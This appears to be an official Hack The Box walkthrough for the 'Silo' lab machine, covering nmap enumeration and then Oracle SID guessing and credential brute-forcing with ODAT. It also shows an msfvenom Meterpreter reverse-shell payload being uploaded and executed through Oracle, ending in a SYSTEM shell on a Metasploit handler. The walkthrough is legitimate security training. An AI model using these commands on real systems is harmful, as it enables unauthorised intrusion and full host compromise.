



Hack The Box  
PEN-TESTING LABS



# Silo

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Difficulty: **Medium**

Classification: Official



## SYNOPSIS

Silo focuses mainly on leveraging Oracle to obtain a shell and escalate privileges. It was intended to be completed manually using various tools, however Oracle Database Attack Tool greatly simplifies the process, reducing the difficulty of the machine substantially.

### Skills Required

- Intermediate knowledge of Windows
- Basic knowledge of Oracle enumeration techniques

### Skills Learned

- Enumerating Oracle SIDs
- Enumerating Oracle credentials
- Leveraging Oracle to upload and execute files



## Enumeration

### Nmap

Zenmap

Scan Tools Profile Help

Target: 10.10.10.82 Profile: Intense scan, all TCP ports Scan Cancel

Command: nmap -p 1-65535 -T4 -A -v 10.10.10.82

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

OS	Host	Port	Protocol	State	Service	Version
✓	10.10.10.82	80	tcp	open	http	Microsoft IIS httpd 8.5
✓		135	tcp	open	msrpc	Microsoft Windows RPC
✓		139	tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
✓		445	tcp	open	microsoft-ds	Microsoft Windows Server 2008 R2
✓		1521	tcp	open	oracle-tns	Oracle TNS listener 11.2.0.2.0 (unau)
✓		5985	tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/
✓		47001	tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/
✓		49152	tcp	open	msrpc	Microsoft Windows RPC
✓		49153	tcp	open	msrpc	Microsoft Windows RPC
✓		49154	tcp	open	msrpc	Microsoft Windows RPC
✓		49155	tcp	open	msrpc	Microsoft Windows RPC
✓		49158	tcp	open	msrpc	Microsoft Windows RPC
✓		49160	tcp	open	oracle-tns	Oracle TNS listener (requires service
✓		49161	tcp	open	msrpc	Microsoft Windows RPC
✓		49162	tcp	open	msrpc	Microsoft Windows RPC

Filter Hosts

Nmap reveals many open ports, most notably an Oracle database.



## Exploitation

### Oracle

ODAT: <https://github.com/quentinhardy/odat>

Using Oracle Database Attack Tool (ODAT), it is fairly straightforward to obtain a valid SID. ODAT can also be leveraged to brute force some credentials, however the default ODAT wordlist is uppercase-only, so it must be substituted with the Metasploit wordlist (which requires changing the combo separator from space to /). If installing ODAT for the first time, follow the installation steps closely on the Github page, or use one of the static releases.

```
root@kali:~/Desktop/odat/odat# ./odat.py sidguesser -s 10.10.10.82 -p 1521

[1] (10.10.10.82:1521): Searching valid SIDs
[1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'XE' is a valid SID. Continue...
[+] 'XEXDB' is a valid SID. Continue...
100% |#####| Time: 00:00:59
[1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |#####| Time: 00:00:01
[1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid SID. Continue...
100% |#####| Time: 00:00:50
[+] SIDs found on the 10.10.10.82:1521 server: XE,XEXDB
```

```
root@kali:~/Desktop/odat/odat# ./odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file accounts/metasploit.txt

[1] (10.10.10.82:1521): Searching valid accounts on the 10.10.10.82 server, port 1521
The login cdemo82 has already been tested at least once. What do you want to do:
- stop (s/S)
- continue and ask every time (a/A)
- continue without to ask (c/C)
c
[+] Valid credentials found: scott/tiger. Continue...
100% |#####| Time: 00:03:42
[+] Accounts found on 10.10.10.82:1521/XE:
scott/tiger
```



With the SID and a set of credentials at hand, it is possible to upload and execute arbitrary files with **utlfile** and **externaltable** in ODAT. Note that the **--sysdba** flag must be set for both. Any executable should work, with the simplest method being **msfvenom -p windows/x64/meterpreter/reverse\_tcp lhost=<LAB IP> lport=<PORT> -f exe > writeup.exe**

Upload file: **./odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ writeup.exe writeup.exe**

```
root@kali:~/Desktop/odat/odat# ./odat.py utlfile -s 10.10.10.82 -p 1521 -U scott
-P tiger -d XE --sysdba --putFile c:/ writeup.exe writeup.exe

[1] (10.10.10.82:1521): Put the writeup.exe local file in the c:/ folder like wr
iteup.exe on the 10.10.10.82 server
[+] The writeup.exe file was created on the c:/ directory on the 10.10.10.82 ser
ver like the writeup.exe file
```

Execute file: **./odat.py externaltable -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ writeup.exe**

```
root@kali:~/Desktop/odat/odat# ./odat.py externaltable -s 10.10.10.82 -p 1521 -U
scott -P tiger -d XE --sysdba --exec c:/ writeup.exe

[1] (10.10.10.82:1521): Execute the writeup.exe command stored in the c:/ path
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```
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.10.14.6:4444
msf exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.10.10.82
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.82:49166) at 2018-
08-19 17:05:04 -0400

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\oracle\app\oracle\product\11.2.0\server\DATABASE
meterpreter >
```